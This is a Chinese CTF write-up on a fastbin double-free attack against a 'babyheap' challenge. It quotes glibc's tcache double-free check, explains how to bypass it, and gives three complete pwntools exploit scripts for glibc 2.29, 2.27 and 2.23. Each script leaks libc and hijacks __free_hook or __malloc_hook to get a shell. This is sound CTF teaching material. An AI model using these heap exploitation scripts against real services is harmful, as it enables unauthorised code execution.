fastbin double free,👴的青春回来🌶
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
glibc2.29在tcache_entry结构体中加上一个8字节指针key,位置就是bk的位置,chunk进入tcache后,将chunk->key设置为tcachestruct(heap开头+0x10)
free时,进tcache前会检查chunk->key是否为tcache,如果是tcache就会检查tcache链中是否有相同的chunk
把chunk->key改了就可以绕过检查,但是👴寻思👴都能摸到bk了应该也能摸到fd,那👴应该也⑧需要double free了
在glibc2.29中,fastbin free时仍然仅验证了 main_arena 直接指向的块,即链表指针头部的块
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
👴搞出来fastbin,然后fastbin double free,梦回2.23
double free
libc白给,free一个大于等于0x420然后show就完事了
add一堆,先free7个,后面的准备进fastbin,然后fastbin double free基本操作
from pwn import *
#r = process(['./lib/ld-2.29.so','--library-path','./lib/','./babyheap'])
r = remote('node3.buuoj.cn',25085)
elf=ELF('./babyheap')
libc = ELF('./lib/libc.so.6')
def add(size,name):
r.sendlineafter('choice:','1')
r.sendlineafter('name',str(size))
r.sendlineafter('name:',name)
r.sendlineafter('call:','1')
def show(index):
r.sendlineafter('choice:','2')
r.sendlineafter('index:',str(index))
r.recvuntil('name:')
def free(index):
r.sendlineafter('choice:','4')
r.sendlineafter('index:',str(index))
add(0x500,'fuck')
add(0x40,'/bin/sh\x00')
free(0)
show(0)
r.recvuntil('\n')
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-0x3b1ca0
log.success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(free_hook))
add(0x500,'fuck')
for i in range(9):
add(0x60,'fuck')
for i in range(8):
free(i+2)
free(10)
free(11)
free(10)
for i in range(7):
add(0x60,'fuck')
add(0x60,p64(free_hook-0x13))
add(0x60,'fuck')
add(0x60,'fuck')
add(0x60,'a'*0x13+p64(system))
free(1)
r.interactive()
glibc-2.27
from pwn import *
r = remote('node3.buuoj.cn',29019)
elf=ELF('./babyheap')
libc = ELF('/libc-2.27.so')
def add(size,name):
r.sendlineafter('choice:','1')
r.sendlineafter('name',str(size))
r.sendlineafter('name:',name)
r.sendlineafter('call:','1')
def show(index):
r.sendlineafter('choice:','2')
r.sendlineafter('index:',str(index))
r.recvuntil('name:')
def free(index):
r.sendlineafter('choice:','4')
r.sendlineafter('index:',str(index))
add(0x500,'fuck')
add(0x40,'/bin/sh\x00')
free(0)
show(0)
r.recvuntil('\n')
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-96-0x10-libc.sym['__malloc_hook']
log.success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(free_hook))
add(0x60,'fuck')
add(0x60,'fuck')
free(2)
free(2)
add(0x60,p64(free_hook-0x13))
add(0x60,'fuck')
add(0x60,'a'*0x13+p64(system))
free(1)
r.interactive()
glibc-2.23
from pwn import *
#r = process('./babyheap')
r = remote('node3.buuoj.cn',29021)
elf=ELF('./babyheap')
libc = ELF('/libc-2.23.so')
def add(size,name):
r.sendlineafter('choice:','1')
r.sendlineafter('name',str(size))
r.sendlineafter('name:',name)
r.sendlineafter('call:','1')
def show(index):
r.sendlineafter('choice:','2')
r.sendlineafter('index:',str(index))
r.recvuntil('name:')
def free(index):
r.sendlineafter('choice:','4')
r.sendlineafter('index:',str(index))
add(0x100,'fuck')
add(0x40,'/bin/sh\x00')
free(0)
show(0)
r.recvuntil('\n')
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-0x3c4b78
log.success(hex(libc_base))
system = libc_base + libc.sym['system']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc= libc_base + libc.sym['realloc']
log.success(hex(malloc_hook))
add(0xe0,'fuck')
add(0x68,'fuck')
add(0x68,'fuck')
add(0x68,'fuck')
add(0x68,'fuck')
free(3)
free(4)
free(3)
add(0x68,p64(malloc_hook-0x23))
add(0x68,'fuck')
add(0x68,'fuck')
print(0x68)
one = libc_base +0xf1147
add(0x68,'a'*0xb+p64(one)+p64(realloc+2))
r.interactive()
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).